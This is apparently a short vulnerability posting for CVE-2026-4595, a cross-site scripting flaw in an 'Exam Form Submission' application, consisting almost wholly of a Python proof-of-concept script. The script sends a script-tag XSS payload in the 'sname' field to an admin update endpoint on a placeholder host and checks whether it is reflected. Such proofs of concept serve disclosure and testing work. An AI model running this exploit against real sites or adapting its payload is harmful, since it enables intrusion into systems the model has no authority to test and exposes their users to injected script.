CVE-2026-4595 Exam Form Submission跨站脚本漏洞

import requests # Target URL url = "http://target-ip/admin/update_s6.php" # Malicious payload to test XSS payload = "<script>alert('CVE-2026-4595_XSS');</script>" # Data parameters to be sent params = { "sname": payload } try: # Send POST request to the vulnerable endpoint response = requests.post(url, data=params) # Check if the payload is reflected in the response (Vulnerability confirmation) if payload in response.text: print("[+] Vulnerability confirmed! XSS payload found in response.") else: print("[-] Vulnerability not detected or payload filtered.") except Exception as e: print(f"Error: {e}")